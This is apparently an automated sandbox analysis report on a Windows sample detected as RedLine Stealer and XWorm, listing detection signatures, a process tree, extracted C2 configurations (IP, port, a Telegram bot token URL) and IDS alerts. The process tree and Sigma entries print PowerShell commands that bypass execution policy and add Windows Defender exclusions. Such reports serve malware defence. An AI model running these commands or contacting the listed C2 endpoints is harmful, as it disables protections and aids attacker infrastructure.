Edit tour

Windows Analysis Report
Ekpb7jn7mf.exe

Overview

General Information

Sample name:	Ekpb7jn7mf.exe renamed because original name is a hash value
Original sample name:	4CE2C0836C46C61B588972B56A23D5E2.exe
Analysis ID:	1474423
MD5:	4ce2c0836c46c61b588972b56a23d5e2
SHA1:	939a9f983870df1913acce63ca408bba9789588f
SHA256:	05df07e5e365386ae0917e177328bc12a2405a1c4317266127abb6903aac59b3
Tags:	exeRedLineStealer
Infos:

Detection

RedLine, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected RedLine Stealer

Yara detected Telegram RAT

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Contains functionality to log keystrokes (.Net Source)

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Protects its processes via BreakOnTermination flag

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Powershell Defender Exclusion

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Ekpb7jn7mf.exe (PID: 6356 cmdline: "C:\Users\user\Desktop\Ekpb7jn7mf.exe" MD5: 4CE2C0836C46C61B588972B56A23D5E2)

rKPaQokQ.exe (PID: 6480 cmdline: "C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe" MD5: DEAD69D07BC33B762ABD466FB6F53E11)

wjoqZlIS.exe (PID: 6528 cmdline: "C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe" MD5: EAB323FA6C66098BE1068FEF0A03BFF2)

conhost.exe (PID: 6544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

YsrQekGS.exe (PID: 6564 cmdline: "C:\Users\user\AppData\Local\Temp\YsrQekGS.exe" MD5: 6EA393666ED89F758B30EA5037F5C22A)

powershell.exe (PID: 7380 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7720 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'YsrQekGS.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Calculator.exe (PID: 3804 cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe" -ServerName:App.AppXsm3pg4n7er43kdh1qp4e79f1j7am68r8.mca MD5: 94675EB54AC5DAA11ACE736DBFA9E7A2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["45.88.186.18"], "Port": "7000", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6", "Telegram URL": "https://api.telegram.org/bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage?chat_id=6678411703"}

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage"}

Threatname: RedLine

{"C2 url": ["pst-child.gl.at.ply.gg:9336"], "Bot Id": "winsc"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8da6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8e43:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8f58:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8938:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165fa:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165db:$v2_6: GetUpdates
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
00000004.00000000.1666725019.00000000004B2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000004.00000000.1666725019.00000000004B2000.00000002.00000001.01000000.00000009.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8ba6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8c43:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8d58:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8738:$cnc4: POST / HTTP/1.1
00000004.00000002.2912640995.0000000002756000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x13d1a:$a4: get_ScannedWallets 0x12b78:$a5: get_ScanTelegram 0x1399e:$a6: get_ScanGeckoBrowsersPaths 0x117ba:$a7: <Processes>k__BackingField 0xf6cc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x110ee:$a9: <ScanFTP>k__BackingField
00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x94f6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9593:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x96a8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x9088:$cnc4: POST / HTTP/1.1
Process Memory Space: Ekpb7jn7mf.exe PID: 6356	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: Ekpb7jn7mf.exe PID: 6356	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Ekpb7jn7mf.exe PID: 6356	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: Ekpb7jn7mf.exe PID: 6356	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x4c7be:$a4: get_ScannedWallets 0x4b8e3:$a5: get_ScanTelegram 0x4c4af:$a6: get_ScanGeckoBrowsersPaths 0x4a852:$a7: <Processes>k__BackingField 0x47e04:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x4a186:$a9: <ScanFTP>k__BackingField
Process Memory Space: wjoqZlIS.exe PID: 6528	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: wjoqZlIS.exe PID: 6528	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: wjoqZlIS.exe PID: 6528	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x1e2391:$a4: get_ScannedWallets 0x1e1238:$a5: get_ScanTelegram 0x1e201a:$a6: get_ScanGeckoBrowsersPaths 0x1dfecb:$a7: <Processes>k__BackingField 0x1dd3fe:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1df7ff:$a9: <ScanFTP>k__BackingField
Process Memory Space: YsrQekGS.exe PID: 6564	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: YsrQekGS.exe PID: 6564	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.0.YsrQekGS.exe.4b0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
4.0.YsrQekGS.exe.4b0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.0.YsrQekGS.exe.4b0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8da6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8e43:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8f58:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8938:$cnc4: POST / HTTP/1.1
2.0.wjoqZlIS.exe.900000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.0.wjoqZlIS.exe.900000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.0.wjoqZlIS.exe.900000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
2.0.wjoqZlIS.exe.900000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165fa:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165db:$v2_6: GetUpdates
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\YsrQekGS.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, ParentProcessId: 6564, ParentProcessName: YsrQekGS.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', ProcessId: 7380, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\YsrQekGS.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, ParentProcessId: 6564, ParentProcessName: YsrQekGS.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', ProcessId: 7380, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\YsrQekGS.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, ParentProcessId: 6564, ParentProcessName: YsrQekGS.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', ProcessId: 7380, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\YsrQekGS.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, ParentProcessId: 6564, ParentProcessName: YsrQekGS.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', ProcessId: 7380, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\YsrQekGS.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, ParentProcessId: 6564, ParentProcessName: YsrQekGS.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\YsrQekGS.exe', ProcessId: 7380, ProcessName: powershell.exe

Snort Signatures

ETPRO TROJAN Win32/XWorm CnC PING Command Inbound M2 - Source IP: 45.88.186.18 - Destination IP: 192.168.2.4

Timestamp:	07/16/24-21:08:49.732554
SID:	2852874
Source Port:	7000
Destination Port:	49746
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) - Source IP: 192.168.2.4 - Destination IP: 45.88.186.18

Timestamp:	07/16/24-21:09:07.854397
SID:	2852923
Source Port:	49746
Destination Port:	7000
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound - Source IP: 192.168.2.4 - Destination IP: 45.88.186.18

Timestamp:	07/16/24-21:07:40.914617
SID:	2855924
Source Port:	49746
Destination Port:	7000
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes - Source IP: 45.88.186.18 - Destination IP: 192.168.2.4

Timestamp:	07/16/24-21:09:07.853192
SID:	2852870
Source Port:	7000
Destination Port:	49746
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound - Source IP: 192.168.2.4 - Destination IP: 45.88.186.18

Timestamp:	07/16/24-21:09:00.501675
SID:	2853193
Source Port:	49746
Destination Port:	7000
Protocol:	TCP
Classtype:	A Network Trojan was detected

Suricata Signatures

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound - Source IP: 192.168.2.4 - Destination IP: 45.88.186.18

Timestamp:	2024-07-16T21:07:40.914617+0200
SID:	2855924
Source Port:	49746
Destination Port:	7000
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 149.154.167.220

Timestamp:	2024-07-16T21:07:27.212960+0200
SID:	2033967
Source Port:	49745
Destination Port:	443
Protocol:	TCP
Classtype:	Misc activity

ETPRO MALWARE RedLine - GetUpdates Request - Source IP: 192.168.2.4 - Destination IP: 147.185.221.20

Timestamp:	2024-07-16T21:07:13.916186+0200
SID:	2848200
Source Port:	49738
Destination Port:	9336
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 - Source IP: 45.88.186.18 - Destination IP: 192.168.2.4

Timestamp:	2024-07-16T21:08:49.732554+0200
SID:	2852874
Source Port:	7000
Destination Port:	49746
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) - Source IP: 192.168.2.4 - Destination IP: 45.88.186.18

Timestamp:	2024-07-16T21:09:07.854397+0200
SID:	2852923
Source Port:	49746
Destination Port:	7000
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound - Source IP: 147.185.221.20 - Destination IP: 192.168.2.4

Timestamp:	2024-07-16T21:07:11.118991+0200
SID:	2045001
Source Port:	9336
Destination Port:	49730
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO HUNTING Request for config.json - Source IP: 192.168.2.4 - Destination IP: 23.32.185.164

Timestamp:	2024-07-16T21:07:08.760906+0200
SID:	2840787
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes - Source IP: 45.88.186.18 - Destination IP: 192.168.2.4

Timestamp:	2024-07-16T21:09:07.853192+0200
SID:	2852870
Source Port:	7000
Destination Port:	49746
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE RedLine Stealer - CheckConnect Response - Source IP: 147.185.221.20 - Destination IP: 192.168.2.4

Timestamp:	2024-07-16T21:07:07.874705+0200
SID:	2045000
Source Port:	9336
Destination Port:	49730
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) - Source IP: 147.185.221.20 - Destination IP: 192.168.2.4

Timestamp:	2024-07-16T21:07:08.324582+0200
SID:	2046056
Source Port:	9336
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO POLICY Observed External IP Lookup Domain (api.ip .sb in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 104.26.12.31

Timestamp:	2024-07-16T21:07:08.868628+0200
SID:	2835930
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	Device Retrieving External IP Address Detected

ETPRO POLICY External IP Address Lookup via api.ip .sb - Source IP: 192.168.2.4 - Destination IP: 104.26.12.31

Timestamp:	2024-07-16T21:07:09.279083+0200
SID:	2835929
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	Device Retrieving External IP Address Detected

ET HUNTING Telegram API Request (GET) - Source IP: 192.168.2.4 - Destination IP: 149.154.167.220

Timestamp:	2024-07-16T21:07:27.532720+0200
SID:	2045615
Source Port:	49745
Destination Port:	443
Protocol:	TCP
Classtype:	Misc activity

ETPRO MALWARE Win32/XWorm Checkin via Telegram - Source IP: 192.168.2.4 - Destination IP: 149.154.167.220

Timestamp:	2024-07-16T21:07:27.532720+0200
SID:	2853685
Source Port:	49745
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE RedLine - SetEnvironment Request - Source IP: 192.168.2.4 - Destination IP: 147.185.221.20

Timestamp:	2024-07-16T21:07:11.505252+0200
SID:	2849352
Source Port:	49737
